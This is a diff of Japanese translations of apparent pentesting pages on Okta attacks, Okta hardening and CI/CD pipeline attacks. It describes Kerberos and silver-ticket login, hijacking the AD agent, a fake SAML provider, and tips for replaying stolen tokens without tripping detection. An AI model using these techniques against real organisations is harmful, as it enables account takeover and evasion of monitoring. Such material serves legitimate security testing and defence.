-次に、Oktaと同期された**アプリケーション**があります。各アプリケーションは、情報を共有するために**Oktaとのマッピング**を持っています（メールアドレス、名前など）。さらに、各アプリケーションは**認証ポリシー**内に存在し、ユーザーがアプリケーションに**アクセス**するために必要な**認証者**を示します。
+次に、Oktaと同期された**アプリケーション**があります。各アプリケーションは、情報（メールアドレス、名前など）を共有するために**Oktaとのマッピング**を持っています。さらに、各アプリケーションは**認証ポリシー**内に存在し、ユーザーがアプリケーションに**アクセス**するために必要な**認証者**を示します。
 
 > [!CAUTION]
 > 最も強力な役割は**スーパ管理者**です。
@@ -43,29 +43,29 @@ Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォ
 
 ### Kerberosを介したOktaへのログイン
 
-もし**`companyname.kerberos.okta.com`**がアクティブであれば、**KerberosがOktaアクセスに使用されており、通常は**MFA**をバイパスします**。AD内でKerberos認証されたOktaユーザーを見つけるには、**`getST.py`**を**適切なパラメータ**で実行します。**ADユーザーのチケット**を取得したら、RubeusやMimikatzなどのツールを使用して制御されたホストに**注入**し、**`clientname.kerberos.okta.com`がインターネットオプションの「イントラネット」ゾーンにあることを確認します**。特定のURLにアクセスすると、JSONの「OK」レスポンスが返され、Kerberosチケットの受け入れが示され、Oktaダッシュボードへのアクセスが許可されます。
+もし**`companyname.kerberos.okta.com`**がアクティブであれば、**KerberosがOktaアクセスに使用され**、通常は**Windows**ユーザーのために**MFA**をバイパスします。AD内でKerberos認証されたOktaユーザーを見つけるには、**`getST.py`**を**適切なパラメータ**で実行します。**ADユーザーのチケット**を取得したら、RubeusやMimikatzなどのツールを使用して制御されたホストに**注入**し、**`clientname.kerberos.okta.com`がインターネットオプションの「イントラネット」ゾーンにあることを確認します**。特定のURLにアクセスすると、JSONの「OK」レスポンスが返され、Kerberosチケットの受け入れが示され、Oktaダッシュボードへのアクセスが許可されます。
 
-**Oktaサービスアカウントを委任SPNで侵害することで、シルバーチケット攻撃が可能になります。**ただし、Oktaのチケット暗号化に**AES**を使用しているため、AESキーまたは平文パスワードを持っている必要があります。**`ticketer.py`を使用して被害者ユーザーのチケットを生成し、ブラウザを介してOktaに認証するために配信します。**
+**Oktaサービスアカウントを委任SPNで侵害することで、シルバーチケット攻撃が可能になります。**ただし、Oktaのチケット暗号化に**AES**を使用しているため、AESキーまたは平文パスワードを持っている必要があります。**`ticketer.py`を使用して被害者ユーザーのチケットを生成し**、ブラウザを介してOktaに認証するために配信します。
 
-**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。**
+**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**で確認してください。**
 
 ### Okta ADエージェントのハイジャック
 
-この技術は、**ユーザーを同期し、認証を処理するサーバー上のOkta ADエージェントにアクセスする**ことを含みます。**`OktaAgentService.exe.config`**内の設定を調査し、特に**DPAPI**を使用してAgentTokenを復号化することで、攻撃者は認証データを**傍受および操作する**可能性があります。これにより、Okta認証プロセス中にユーザー資格情報を平文で**監視**および**キャプチャ**するだけでなく、認証試行に**応答する**ことができ、不正アクセスを可能にしたり、Oktaを介してユニバーサル認証を提供したりすることができます（「スケルトンキー」のように）。
+この技術は、**ユーザーを同期し、認証を処理するサーバー上のOkta ADエージェントにアクセスする**ことを含みます。**`OktaAgentService.exe.config`**内の設定を調査し、特に**DPAPI**を使用してAgentTokenを復号化することで、攻撃者は**認証データを傍受および操作する**可能性があります。これにより、Okta認証プロセス中にユーザー資格情報を平文で**監視**および**キャプチャ**するだけでなく、**認証試行に応答する**ことができ、無許可のアクセスを可能にしたり、Oktaを介してユニバーサル認証を提供したりすることができます（「スケルトンキー」のように）。
 
-**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。**
+**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**で確認してください。**
 
-### 管理者としてADをハイジャック
+### 管理者としてのADのハイジャック
 
-この技術は、最初にOAuthコードを取得し、その後APIトークンを要求することでOkta ADエージェントをハイジャックすることを含みます。トークンはADドメインに関連付けられ、**コネクタが偽のADエージェントを確立するために名前付けされます**。初期化により、エージェントは**認証試行を処理し、Okta APIを介して資格情報をキャプチャ**します。このプロセスを簡素化するための自動化ツールが利用可能で、Okta環境内で認証データを傍受および処理するシームレスな方法を提供します。
+この技術は、最初にOAuthコードを取得し、その後APIトークンを要求することでOkta ADエージェントをハイジャックすることを含みます。トークンはADドメインに関連付けられ、**コネクタが偽のADエージェントを確立するために名前付けされます**。初期化により、エージェントは**認証試行を処理し**、Okta APIを介して資格情報をキャプチャします。このプロセスを簡素化するための自動化ツールが利用可能で、Okta環境内で認証データを傍受および処理するシームレスな方法を提供します。
 
-**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。**
+**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**で確認してください。**
 
 ### Oktaの偽SAMLプロバイダー
 
-**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。**
+**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**で確認してください。**
 
-この技術は、**偽のSAMLプロバイダーを展開する**ことを含みます。特権アカウントを使用してOktaのフレームワーク内に外部アイデンティティプロバイダー（IdP）を統合することで、攻撃者は**IdPを制御し、任意の認証要求を承認することができます**。このプロセスには、Okta内にSAML 2.0 IdPを設定し、ローカルホストファイルを介してリダイレクトするためにIdPシングルサインオンURLを操作し、自己署名証明書を生成し、Okta設定をユーザー名またはメールアドレスに一致させることが含まれます。これらの手順を成功裏に実行することで、個々のユーザー資格情報を必要とせずに任意のOktaユーザーとして認証でき、アクセス制御を大幅に強化することができます。
+この技術は、**偽のSAMLプロバイダーを展開する**ことを含みます。特権アカウントを使用してOktaのフレームワーク内に外部アイデンティティプロバイダー（IdP）を統合することで、攻撃者は**IdPを制御し、任意の認証要求を承認することができます**。このプロセスには、Okta内にSAML 2.0 IdPを設定し、ローカルホストファイルを介してリダイレクトするためにIdPシングルサインオンURLを操作し、自己署名証明書を生成し、ユーザー名またはメールに対してOkta設定を一致させることが含まれます。これらの手順を成功裏に実行することで、個々のユーザー資格情報を必要とせずに任意のOktaユーザーとして認証でき、アクセス制御を大幅に高めることができます。
 
 ### Evilgnixを使用したOktaポータルのフィッシング
 
@@ -73,16 +73,16 @@ Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォ
 
 ### 同僚のなりすまし攻撃
 
-**各ユーザーが持ち、変更できる属性**（メールや名前など）はOktaで設定できます。もし**アプリケーション**が、ユーザーが**変更できる**属性をIDとして**信頼している**場合、そのユーザーは**そのプラットフォーム内で他のユーザーをなりすますことができます**。
+各ユーザーが持ち、変更できる**属性**（メールや名前など）は、Oktaで構成できます。もし**アプリケーション**が、ユーザーが**変更できる**属性をIDとして**信頼している**場合、そのプラットフォーム内で他のユーザーを**なりすます**ことができます。
 
-したがって、アプリが**`userName`**フィールドを信頼している場合、通常はそのフィールドを変更できないため（通常はそのフィールドを変更できないため）、例えば**`primaryEmail`**を信頼している場合、同僚のメールアドレスに**変更することができ、なりすますことができます**（メールにアクセスし、変更を承認する必要があります）。
+したがって、アプリが**`userName`**フィールドを信頼している場合、通常はそのフィールドを変更できない（通常はそのフィールドを変更できないため）ですが、例えば**`primaryEmail`**を信頼している場合、同僚のメールアドレスに**変更することができる**かもしれません（メールにアクセスし、変更を承認する必要があります）。
 
-このなりすましは、各アプリケーションがどのように設定されているかに依存することに注意してください。変更したフィールドを信頼し、更新を受け入れるアプリケーションのみが侵害されます。\
+このなりすましは、各アプリケーションがどのように構成されているかに依存することに注意してください。変更したフィールドを信頼し、更新を受け入れるアプリケーションのみが侵害されます。\
 したがって、アプリはこのフィールドが存在する場合に有効にする必要があります：
 
 <figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
 
-他のアプリケーションが脆弱であったが、Okta設定にそのフィールドがなかったのを見たこともあります（最終的に異なるアプリは異なる設定がされています）。
+他のアプリケーションが脆弱であったが、Okta設定にそのフィールドがなかったのを見たこともあります（最終的に異なるアプリは異なるように構成されています）。
 
 各アプリで誰かをなりすますことができるかどうかを確認する最良の方法は、試してみることです！
 
@@ -92,15 +92,15 @@ Oktaの行動検出ポリシーは遭遇するまで不明な場合がありま
 
 主な推奨事項は以下の通りです：
 
-- **人気のある匿名プロキシやVPNサービスを使用しない**で、キャプチャしたアクセストークンを再生する際には注意してください。
-- クライアントと再生されたアクセストークンの間で**一貫したユーザーエージェント文字列**を確保してください。
+- **人気のある匿名プロキシやVPNサービスを使用しない**で、キャプチャしたアクセストークンを再生します。
+- クライアントと再生されたアクセストークンの間で**一貫したユーザーエージェント文字列**を確保します。
 - **異なるユーザーのトークンを同じIPアドレスから再生しない**でください。
-- Oktaダッシュボードに対してトークンを再生する際には注意してください。
-- 被害者企業のIPアドレスを知っている場合は、**そのIPまたはその範囲にトラフィックを制限し、他のすべてのトラフィックをブロックしてください**。
+- Oktaダッシュボードに対してトークンを再生する際は注意してください。
+- 被害者企業のIPアドレスを知っている場合は、**そのIPまたはその範囲にトラフィックを制限し**、他のすべてのトラフィックをブロックします。
 
 ## Oktaの強化
 
-Oktaには多くの可能な設定があり、このページではそれらをできるだけ安全にするためのレビュー方法を見つけることができます：
+Oktaには多くの可能な構成があり、このページではそれらをできるだけ安全にするためのレビュー方法を見つけることができます：
 
 {{#ref}}
 okta-hardening.md

src/pentesting-ci-cd/okta-security/okta-hardening.md

@@ -6,7 +6,7 @@
 
 ### People
 
-攻撃者の視点から見ると、これは非常に興味深いです。なぜなら、**登録されているすべてのユーザー**、その**メール**アドレス、**所属しているグループ**、**プロフィール**、さらには**デバイス**（モバイルとそのOS）を見ることができるからです。
+攻撃者の視点から見ると、これは非常に興味深いです。なぜなら、**登録されているすべてのユーザー**、その**メール**アドレス、**所属グループ**、**プロフィール**、さらには**デバイス**（モバイルとそのOS）を確認できるからです。
 
 ホワイトボックスレビューでは、**「保留中のユーザーアクション」**や**「パスワードリセット」**が複数存在しないことを確認してください。
 
@@ -15,31 +15,31 @@
 ここでは、Oktaで作成されたすべてのグループを見つけることができます。異なるグループ（**権限のセット**）が**ユーザー**に付与される可能性を理解することは興味深いです。\
 **グループに含まれる人々**や**各グループに割り当てられたアプリ**を見ることができます。
 
-もちろん、**admin**という名前のグループは興味深いです。特に**Global Administrators**グループを確認し、最も特権のあるメンバーが誰であるかを学んでください。
+もちろん、**admin**という名前のグループは興味深いです。特に**Global Administrators**グループを確認し、最も特権のあるメンバーを特定してください。
 
 ホワイトボックスレビューでは、**グローバル管理者は5人以下であるべきです**（2人または3人が理想です）。
 
 ### Devices
 
-ここでは、すべてのユーザーの**デバイスのリスト**を見つけることができます。**アクティブに管理されているかどうか**も確認できます。
+ここで、すべてのユーザーの**デバイスのリスト**を見つけることができます。また、それが**積極的に管理されている**かどうかも確認できます。
 
 ### Profile Editor
 
-ここでは、名前、姓、メール、ユーザー名などの重要な情報がOktaと他のアプリケーションの間でどのように共有されているかを観察できます。これは興味深いです。なぜなら、ユーザーが**Oktaでフィールドを変更できる**（名前やメールなど）場合、それが**外部アプリケーション**によってユーザーを**識別**するために使用されると、内部者が他のアカウントを**乗っ取る**可能性があるからです。
+ここでは、名前、姓、メール、ユーザー名などの重要な情報がOktaと他のアプリケーションの間でどのように共有されているかを観察できます。これは、ユーザーが**Oktaでフィールドを修正**（名前やメールなど）できる場合、**外部アプリケーション**がそのユーザーを**識別**するために使用されるため、内部者が他のアカウントを**乗っ取る**可能性があるため、興味深いです。
 
-さらに、Oktaのプロフィール**`User (default)`**では、各**ユーザー**が持っている**フィールド**と、ユーザーが**書き込み可能**なフィールドを確認できます。管理パネルが見えない場合は、**プロフィール情報を更新**するために移動し、どのフィールドを更新できるかを確認してください（メールアドレスを更新するには確認が必要です）。
+さらに、Oktaのプロフィール**`User (default)`**では、各**ユーザー**が持つ**フィールド**と、ユーザーが**書き込み可能**なフィールドを確認できます。管理パネルが見えない場合は、**プロフィール情報を更新**するために移動し、どのフィールドを更新できるかを確認してください（メールアドレスを更新するには確認が必要です）。
 
 ### Directory Integrations
 
 ディレクトリは、既存のソースから人々をインポートすることを可能にします。ここでは、他のディレクトリからインポートされたユーザーを見ることができると思います。
 
-見たことはありませんが、これは**Oktaがユーザーをインポートするために使用している他のディレクトリ**を見つけるのに興味深いと思います。もしそのディレクトリを**侵害**すれば、Oktaで作成されたユーザーの属性値を設定し、**Okta環境を侵害**する可能性があります。
+私はこれを見たことがありませんが、Oktaがユーザーをインポートするために使用している**他のディレクトリ**を見つけるのは興味深いです。もしそのディレクトリを**侵害**すれば、Oktaで作成されたユーザーの属性値を設定し、**Okta環境を侵害**する可能性があります。
 
 ### Profile Sources
 
 プロファイルソースは、ユーザープロファイル属性の**真実のソースとして機能するアプリケーション**です。ユーザーは、一度に1つのアプリケーションまたはディレクトリからのみソースされることができます。
 
-見たことはありませんが、このオプションに関するセキュリティやハッキングに関する情報は感謝されます。
+私はこれを見たことがないので、このオプションに関するセキュリティやハッキングに関する情報は感謝されます。
 
 ## Customizations
 
@@ -47,7 +47,7 @@
 
 このセクションの**Domains**タブで、メールを送信するために使用されるメールアドレスと、会社のOkta内のカスタムドメインを確認してください（おそらくすでに知っているでしょう）。
 
-さらに、**Setting**タブでは、管理者であれば**「カスタムサインアウトページを使用する」**を選択し、カスタムURLを設定できます。
+さらに、**Setting**タブでは、管理者であれば、**カスタムサインアウトページを使用**し、カスタムURLを設定できます。
 
 ### SMS
 
@@ -55,7 +55,7 @@
 
 ### End-User Dashboard
 
-ここでは、設定されたアプリケーションを見つけることができますが、それらの詳細は後の別のセクションで確認します。
+ここで構成されたアプリケーションを見つけることができますが、それらの詳細は後の別のセクションで確認します。
 
 ### Other
 
@@ -65,9 +65,9 @@
 
 ### Applications
 
-ここでは、すべての**設定されたアプリケーション**とその詳細を見つけることができます：誰がそれにアクセスできるか、どのように設定されているか（SAML、OpenID）、ログイン用のURL、Oktaとアプリケーション間のマッピング...
+ここでは、すべての**構成されたアプリケーション**とその詳細を見つけることができます：誰がそれにアクセスできるか、どのように構成されているか（SAML、OpenID）、ログイン用のURL、Oktaとアプリケーション間のマッピング...
 
-**`Sign On`**タブには、**`Password reveal`**というフィールドもあり、ユーザーがアプリケーション設定を確認する際に**パスワードを表示**できるようになります。ユーザーパネルからアプリケーションの設定を確認するには、3つのドットをクリックします：
+**`Sign On`**タブには、ユーザーがアプリケーション設定を確認する際に**パスワードを表示**できる**`Password reveal`**というフィールドもあります。ユーザーパネルからアプリケーションの設定を確認するには、3つのドットをクリックします：
 
 <figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
 
@@ -81,7 +81,7 @@
 
 Access Certificationsを使用して、ユーザーのリソースへのアクセスを定期的にレビューし、必要に応じて自動的にアクセスを承認または取り消す監査キャンペーンを作成します。
 
-使用されているのを見たことはありませんが、防御的な観点からは良い機能だと思います。
+私はこれが使用されているのを見たことがありませんが、防御的な観点から見ると、良い機能だと思います。
 
 ## Security
 
@@ -90,7 +90,7 @@ Access Certificationsを使用して、ユーザーのリソースへのアク
 - **セキュリティ通知メール**：すべて有効にするべきです。
 - **CAPTCHA統合**：少なくとも目に見えないreCaptchaを設定することをお勧めします。
 - **組織のセキュリティ**：すべてを有効にでき、アクティベーションメールは長くかかるべきではありません（7日間は適切です）。
-- **ユーザー列挙防止**：両方を有効にするべきです。
+- **ユーザー列挙防止**：両方とも有効にするべきです。
 - ユーザー列挙防止は、以下の条件のいずれかが許可されている場合には効果を発揮しません（詳細は[ユーザー管理](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)を参照してください）：
 - セルフサービス登録
 - メール認証を伴うJITフロー
@@ -98,7 +98,7 @@ Access Certificationsを使用して、ユーザーのリソースへのアク
 
 ### HealthInsight
 
-ここでは、正しく設定された**設定**と**危険な**設定を見つけることができます。
+ここでは、正しく構成された**設定**と**危険な**設定を見つけることができます。
 
 ### Authenticators
 
@@ -128,9 +128,9 @@ MFAを要求し、セッションの有効期限を数時間に制限し、ブ
 
 アイデンティティプロバイダー（IdP）は、**ユーザーアカウントを管理する**サービスです。OktaにIdPを追加すると、エンドユーザーはソーシャルアカウントまたはスマートカードで最初に認証することによって、カスタムアプリケーションに**セルフ登録**できるようになります。
 
-アイデンティティプロバイダーのページでは、ソーシャルログイン（IdP）を追加し、インバウンドSAMLを追加することでOktaをサービスプロバイダー（SP）として設定できます。IdPを追加した後、ユーザーの場所、デバイス、またはメールドメインなどのコンテキストに基づいて、ユーザーをIdPに誘導するルールを設定できます。
+アイデンティティプロバイダーのページでは、ソーシャルログイン（IdP）を追加し、インバウンドSAMLを追加することでOktaをサービスプロバイダー（SP）として構成できます。IdPを追加した後、ユーザーの場所、デバイス、またはメールドメインなどのコンテキストに基づいて、ユーザーをIdPに誘導するルーティングルールを設定できます。
 
-**アイデンティティプロバイダーが構成されている場合**、攻撃者と防御者の視点からその構成を確認し、**ソースが本当に信頼できるかどうか**を確認してください。攻撃者がそれを侵害すれば、Okta環境にもアクセスできる可能性があります。
+**アイデンティティプロバイダーが構成されている場合**、攻撃者と防御者の視点からその設定を確認し、**ソースが本当に信頼できるかどうか**を確認してください。攻撃者がそれを侵害すれば、Okta環境にアクセスできる可能性があります。
 
 ### Delegated Authentication
 
@@ -144,21 +144,21 @@ MFAを要求し、セッションの有効期限を数時間に制限し、ブ
 
 1つまたは複数のネットワークゾーンを定義した後、**グローバルセッションポリシー**、**認証ポリシー**、VPN通知、**ルーティングルール**で使用できます。
 
-攻撃者の視点からは、許可されているIPを知ることが興味深いです（および、**特権のあるIPが他にあるかどうかを確認**）。攻撃者の視点から、ユーザーが特定のIPアドレスまたは地域からアクセスする必要がある場合、この機能が適切に使用されているかを確認してください。
+攻撃者の視点からは、許可されているIPを知ることが興味深いです（および、**特権のあるIPが他にないか確認する**）。攻撃者の視点から、ユーザーが特定のIPアドレスまたは地域からアクセスする必要がある場合、この機能が適切に使用されているか確認してください。
 
 ### Device Integrations
 
 - **エンドポイント管理**：エンドポイント管理は、管理されたデバイスがアプリケーションにアクセスできることを保証するために、認証ポリシーに適用できる条件です。
-- まだこれが使用されているのを見たことはありません。TODO
-- **通知サービス**：まだこれが使用されているのを見たことはありません。TODO
+- まだこれが使用されているのを見たことがありません。TODO
+- **通知サービス**：まだこれが使用されているのを見たことがありません。TODO
 
 ### API
 
-このページでOkta APIトークンを作成し、**作成された**トークン、**権限**、**有効期限**、および**Origin URLs**を確認できます。APIトークンは、トークンを作成したユーザーの権限で生成され、トークンを作成した**ユーザー**が**アクティブ**である場合にのみ有効です。
+このページでOkta APIトークンを作成し、**作成された**トークン、**権限**、**有効期限**、および**Origin URLs**を確認できます。APIトークンは、トークンを作成したユーザーの権限で生成され、**作成したユーザー**が**アクティブ**である場合にのみ有効です。
 
 **Trusted Origins**は、あなたが制御し信頼するウェブサイトがOkta APIを通じてあなたのOkta組織にアクセスすることを許可します。
 
-APIトークンはあまり多くないべきです。なぜなら、トークンが多すぎると、攻撃者がそれにアクセスし、使用しようとする可能性があるからです。
+APIトークンは多くないべきです。なぜなら、もし多く存在すれば、攻撃者がそれにアクセスし、使用しようとする可能性があるからです。
 
 ## Workflow
 
@@ -166,7 +166,7 @@ APIトークンはあまり多くないべきです。なぜなら、トーク
 
 自動化により、エンドユーザーのライフサイクル中に発生する一連のトリガー条件に基づいて実行される自動アクションを作成できます。
 
-例えば、条件は「Oktaでのユーザーの非アクティブ状態」や「Oktaでのユーザーパスワードの有効期限切れ」で、アクションは「ユーザーにメールを送信」または「Oktaでのユーザーライフサイクル状態を変更」などです。
+例えば、条件は「Oktaでのユーザーの非活動」や「Oktaでのユーザーパスワードの有効期限切れ」であり、アクションは「ユーザーにメールを送信」または「Oktaでのユーザーライフサイクル状態を変更」などです。
 
 ## Reports
 
@@ -176,11 +176,11 @@ APIトークンはあまり多くないべきです。なぜなら、トーク
 
 ### System Log
 
-ここでは、ユーザーによって実行された**アクションのログ**を見つけることができ、OktaやOktaを通じてアプリケーションにログインする際の詳細が多く含まれています。
+ここでは、ユーザーによって実行された**アクションのログ**を見つけることができ、Oktaやアプリケーションへのログインなどの詳細が含まれています。
 
 ### Import Monitoring
 
-これは、Oktaでアクセスされた他のプラットフォームから**ログをインポート**できます。
+これは、Oktaでアクセスされた**他のプラットフォームからのログをインポート**できます。
 
 ### Rate limits
 
@@ -190,7 +190,7 @@ APIトークンはあまり多くないべきです。なぜなら、トーク
 
 ### Account
 
-ここでは、会社名、住所、**メール請求連絡先**、**メール技術連絡先**、およびOktaの更新を受け取るべき人とどのような種類のOktaの更新があるかについての**一般的な情報**を見つけることができます。
+ここでは、会社名、住所、**メール請求連絡先**、**メール技術連絡先**、およびOktaの更新を受け取るべき人とどのような種類のOktaの更新があるかに関する**一般的な情報**を見つけることができます。
 
 ### Downloads
 

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCSは**Version Control System**の略で、このシステムは開発者が**ソースコードを管理する**ことを可能にします。最も一般的なものは**git**で、通常、企業は以下の**プラットフォーム**のいずれかで使用しています：
+VCSは**Version Control System**の略で、このシステムは開発者が**ソースコードを管理する**ことを可能にします。最も一般的なものは**git**で、企業は通常以下の**プラットフォーム**のいずれかで使用しています：
 
 - Github
 - Gitlab
@@ -18,71 +18,71 @@ VCSは**Version Control System**の略で、このシステムは開発者が**
 
 CI/CDパイプラインは、開発者が**コードの実行を自動化する**ことを可能にし、アプリケーションのビルド、テスト、デプロイなどのさまざまな目的に使用されます。これらの自動化されたワークフローは、コードのプッシュ、プルリクエスト、またはスケジュールされたタスクなどの**特定のアクションによってトリガーされます**。これにより、開発から本番環境へのプロセスが効率化されます。
 
-ただし、これらのシステムは**どこかで実行される必要があり、通常はコードをデプロイしたり、機密情報にアクセスするための**特権資格情報が必要です。
+ただし、これらのシステムは**どこかで実行される必要があり**、通常は**コードをデプロイしたり、機密情報にアクセスするための特権的な資格情報が必要です**。
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
-> 一部のVCSプラットフォームがこのセクションのためにパイプラインを作成することを許可している場合でも、ここではソースコードの制御に対する潜在的な攻撃のみを分析します。
+> 一部のVCSプラットフォームがパイプラインを作成することを許可している場合でも、このセクションではソースコードの制御に対する潜在的な攻撃のみを分析します。
 
 プロジェクトのソースコードを含むプラットフォームは機密情報を含んでおり、人々はこのプラットフォーム内で付与された権限に非常に注意する必要があります。攻撃者が悪用できるVCSプラットフォーム全体での一般的な問題は以下の通りです：
 
-- **漏洩**：コードにコミット内の漏洩が含まれており、攻撃者がリポジトリにアクセスできる場合（公開されているか、アクセス権を持っている場合）、漏洩を発見する可能性があります。
-- **アクセス**：攻撃者が**VCSプラットフォーム内のアカウントにアクセスできる場合**、**より多くの可視性と権限を得ることができます**。
-- **登録**：一部のプラットフォームでは、外部ユーザーがアカウントを作成することを許可します。
-- **SSO**：一部のプラットフォームでは、ユーザーが登録することを許可しませんが、有効なSSOでアクセスすることを許可します（したがって、攻撃者は例えば自分のgithubアカウントを使用して入ることができます）。
-- **資格情報**：ユーザー名+パスワード、個人トークン、sshキー、Oauthトークン、クッキー... ユーザーがリポジトリにアクセスするために盗むことができるさまざまな種類のトークンがあります。
-- **Webhooks**：VCSプラットフォームはwebhookを生成することを許可します。これらが**見えない秘密で保護されていない場合、**攻撃者がそれを**悪用する可能性があります**。
-- 秘密が設定されていない場合、攻撃者はサードパーティプラットフォームのwebhookを悪用する可能性があります。
-- 秘密がURLに含まれている場合、同様のことが起こり、攻撃者も秘密を持っています。
-- **コードの妥協**：悪意のある行為者がリポジトリに対して何らかの**書き込み**アクセスを持っている場合、**悪意のあるコードを注入しようとする可能性があります**。成功するためには、**ブランチ保護を回避する**必要があるかもしれません。これらの行動は、さまざまな目標を持って実行される可能性があります：
+- **Leaks**: コードにコミット内の漏洩が含まれており、攻撃者がリポジトリにアクセスできる場合（公開されているか、アクセス権を持っている場合）、漏洩を発見する可能性があります。
+- **Access**: 攻撃者が**VCSプラットフォーム内のアカウントにアクセスできる場合**、**より多くの可視性と権限を得ることができます**。
+- **Register**: 一部のプラットフォームでは、外部ユーザーがアカウントを作成することを許可します。
+- **SSO**: 一部のプラットフォームではユーザーの登録を許可しませんが、有効なSSOでアクセスすることは許可します（例えば、攻撃者が自分のgithubアカウントを使用して入ることができます）。
+- **Credentials**: ユーザー名+パスワード、個人トークン、sshキー、Oauthトークン、クッキー... ユーザーがリポジトリにアクセスするために盗むことができるトークンの種類はさまざまです。
+- **Webhooks**: VCSプラットフォームはウェブフックを生成することを許可します。これらが**見えない秘密で保護されていない場合、攻撃者がそれを悪用する可能性があります**。
+- 秘密が設定されていない場合、攻撃者はサードパーティプラットフォームのウェブフックを悪用する可能性があります。
+- 秘密がURLに含まれている場合も同様で、攻撃者は秘密を持っています。
+- **Code compromise:** 悪意のある行為者がリポジトリに対して**書き込み**アクセスを持っている場合、**悪意のあるコードを注入しようとする可能性があります**。成功するためには、**ブランチ保護を回避する**必要があるかもしれません。これらの行動は、さまざまな目的を持って実行される可能性があります：
 - メインブランチを妥協して**本番環境を妥協する**。
-- メイン（または他のブランチ）を妥協して**開発者のマシンを妥協する**（通常、彼らは自分のマシンでテスト、terraform、または他のことを実行します）。
+- メイン（または他のブランチ）を妥協して**開発者のマシンを妥協する**（彼らは通常、テスト、terraform、または他の作業を自分のマシン内のリポジトリで実行します）。
 - **パイプラインを妥協する**（次のセクションを確認）。
 
 ## Pipelines Pentesting Methodology
 
-パイプラインを定義する最も一般的な方法は、**リポジトリにホストされたCI構成ファイルを使用すること**です。このファイルは、実行されるジョブの順序、フローに影響を与える条件、およびビルド環境の設定を説明します。\
-これらのファイルは通常、一貫した名前と形式を持ちます。例えば、Jenkinsfile（Jenkins）、.gitlab-ci.yml（GitLab）、.circleci/config.yml（CircleCI）、および.github/workflowsの下にあるGitHub Actions YAMLファイルです。トリガーされると、パイプラインジョブは**選択されたソースからコードをプルし**、そのコードに対して**CI構成ファイルに指定されたコマンドを実行します**。
+パイプラインを定義する最も一般的な方法は、パイプラインがビルドする**リポジトリにホストされたCI構成ファイルを使用する**ことです。このファイルは、実行されるジョブの順序、フローに影響を与える条件、およびビルド環境の設定を記述します。\
+これらのファイルは通常、一貫した名前と形式を持ち、例えば — Jenkinsfile（Jenkins）、.gitlab-ci.yml（GitLab）、.circleci/config.yml（CircleCI）、および.github/workflowsの下にあるGitHub Actions YAMLファイルです。トリガーされると、パイプラインジョブは**選択されたソースからコードをプルし**、そのコードに対して**CI構成ファイルに指定されたコマンドを実行します**。
 
 したがって、攻撃者の最終的な目標は、何らかの方法で**これらの構成ファイル**または**それらが実行するコマンドを妥協する**ことです。
 
 ### PPE - Poisoned Pipeline Execution
 
-Poisoned Pipeline Execution（PPE）パスは、SCMリポジトリ内の権限を悪用してCIパイプラインを操作し、有害なコマンドを実行します。必要な権限を持つユーザーは、CI構成ファイルやパイプラインジョブで使用される他のファイルを変更して悪意のあるコマンドを含めることができます。これにより、CIパイプラインが「毒され」、これらの悪意のあるコマンドが実行されます。
+Poisoned Pipeline Execution（PPE）パスは、SCMリポジトリ内の権限を悪用してCIパイプラインを操作し、有害なコマンドを実行します。必要な権限を持つユーザーは、CI構成ファイルやパイプラインジョブで使用される他のファイルを変更して悪意のあるコマンドを含めることができます。これにより、CIパイプラインが「汚染」され、これらの悪意のあるコマンドが実行されます。
 
 悪意のある行為者がPPE攻撃を成功させるためには、以下のことができる必要があります：
 
 - **VCSプラットフォームへの書き込みアクセスを持つ**必要があります。通常、パイプラインはプッシュまたはプルリクエストが行われたときにトリガーされます。（アクセスを得る方法の概要についてはVCSペンテスティング方法論を確認してください）。
 - 時には**外部PRが「書き込みアクセス」としてカウントされる**ことに注意してください。
 - 書き込み権限があっても、**CI構成ファイルや構成が依存している他のファイルを変更できることを確認する必要があります**。
-- これには、**ブランチ保護を回避する**必要があるかもしれません。
+- そのためには、**ブランチ保護を回避する**必要があるかもしれません。
 
 PPEには3つのフレーバーがあります：
 
-- **D-PPE**：**直接PPE**攻撃は、行為者が**実行されるCI構成**ファイルを**変更する**ときに発生します。
-- **I-DDE**：**間接PPE**攻撃は、行為者が**実行されるCI構成ファイルが依存している**ファイル（makeファイルやterraform構成など）を**変更する**ときに発生します。
-- **Public PPEまたは3PE**：場合によっては、パイプラインは**リポジトリに書き込みアクセスを持たないユーザーによってトリガーされる**ことがあります（そしてそれらは組織の一部でないかもしれません）なぜなら、彼らはPRを送信できるからです。
-- **3PEコマンドインジェクション**：通常、CI/CDパイプラインは**PRに関する情報で**環境変数を**設定します**。その値が攻撃者によって制御でき（PRのタイトルのように）、**危険な場所で使用される**場合（例えば**shコマンドを実行する**）、攻撃者は**そこにコマンドを注入する**可能性があります。
+- **D-PPE**: **Direct PPE**攻撃は、行為者が**実行されるCI構成**ファイルを**変更する**ときに発生します。
+- **I-DDE**: **Indirect PPE**攻撃は、行為者が**実行されるCI構成ファイルが依存している**ファイル（makeファイルやterraform構成など）を**変更する**ときに発生します。
+- **Public PPEまたは3PE**: 場合によっては、パイプラインは**リポジトリに書き込みアクセスを持たないユーザーによってトリガーされる**ことがあります（彼らは組織の一部でない可能性もあります）なぜなら、彼らはPRを送信できるからです。
